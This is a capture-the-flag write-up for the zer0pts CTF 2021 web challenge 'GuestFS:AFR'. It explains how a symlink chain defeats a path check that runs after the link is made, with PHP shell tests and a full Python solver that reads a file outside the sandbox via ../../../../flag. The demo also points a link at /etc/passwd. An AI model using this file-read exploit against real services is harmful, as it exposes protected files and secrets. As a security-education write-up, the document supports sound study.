Try   HackMD

GuestFS:AFR - zer0pts CTF 2021

tags: zer0pts CTF 2021 web

Overview

  • This is a service that you can create, read, and delete files including symbolic links.
  • Filename should not contain characters except for 0-9A-Za-z.
  • When you create a symbolic link, the link target should not start with / or contain ...

Solution

Paths of link targets will be only checked when files are created. Looking through the source code, you will notice that the order of checking a target path is, calling symlink, then checking the target path with readlink. Why does it checks the target path after a symbolic link is created?

/* Create a symbolic link */ @symlink($target, $this->root.$name); /* This check ensures $target points to inside user-space */ try { $this->validate_filepath(@readlink($this->root.$name)); } catch(Exception $e) { /* Revert changes */ @unlink($this->root.$name); throw $e; }

Let's check the behavior of symbolic links to look for a way to abuse it. When we make a symbolic chain like a -> b -> c, how do readlink and reading files work?

As the result below shows, readlink('a') returns b and file_get_contents('a') returns the contents of c.

$ psysh
Psy Shell v0.10.6 (PHP 7.2.24-0ubuntu0.18.04.7 — cli) by Justin Hileman
>>> symlink('c', 'b')
=> true
>>> symlink('b', 'a')
=> true
>>> file_put_contents('c', 'test')
=> 4
>>> 
>>> readlink('a')
=> "b"

In addition to that, when we remove c and try to replace a with new symlink, how does it work?

As the result below shows, a symlink named c that targets /etc/passwd is created, and symlink('a') still returns b.

>>> unlink('c')
=> true
>>> symlink('/etc/passwd', 'a')
=> true
>>> readlink('a')
=> "b"
>>> passthru('ls -la')
total 8
drwx------  2 st98 st98 4096 Mar  7 09:22 .
drwxrwxrwt 58 root root 4096 Mar  7 09:18 ..
lrwxrwxrwx  1 st98 st98    1 Mar  7 09:16 a -> b
lrwxrwxrwx  1 st98 st98    1 Mar  7 09:16 b -> c
lrwxrwxrwx  1 st98 st98   11 Mar  7 09:22 c -> /etc/passwd
=> null

Using these behaviors, you can bypass the check of target paths in the following steps. This is because when creating a symlink that targets ../../../../flag, readlink('a') returns b, which does not contain .. and is valid, but actually it is creating a symlink to ../../../../flag.

  1. Make a symbolic link chain like a -> b -> c
  2. Delete c
  3. symlink('../../../../flag', 'a')

Solver

import re import requests BASE = 'http://web.ctf.zer0pts.com:8001/' sess = requests.Session() sess.get(BASE) # make a -> b -> c sess.post(BASE, data={ 'name': 'c', 'type': '', 'mode': 'create', 'target': '.' }) sess.post(BASE, data={ 'name': 'b', 'type': '', 'mode': 'create', 'target': 'c' }) sess.post(BASE, data={ 'name': 'a', 'type': '', 'mode': 'create', 'target': 'b' }) # delete c sess.post(BASE, data={ 'name': 'c', 'mode': 'delete' }) # make symlink('../../../../flag', 'a') sess.post(BASE, data={ 'name': 'a', 'type': '', 'mode': 'create', 'target': '../../../../flag' }) # :) req = sess.post(BASE, data={ 'name': 'a', 'mode': 'read' }) print(re.findall(r'zer0pts\{.+?\}', req.text)[0])

Let's execute it.

$ python solve.py
zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}
zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}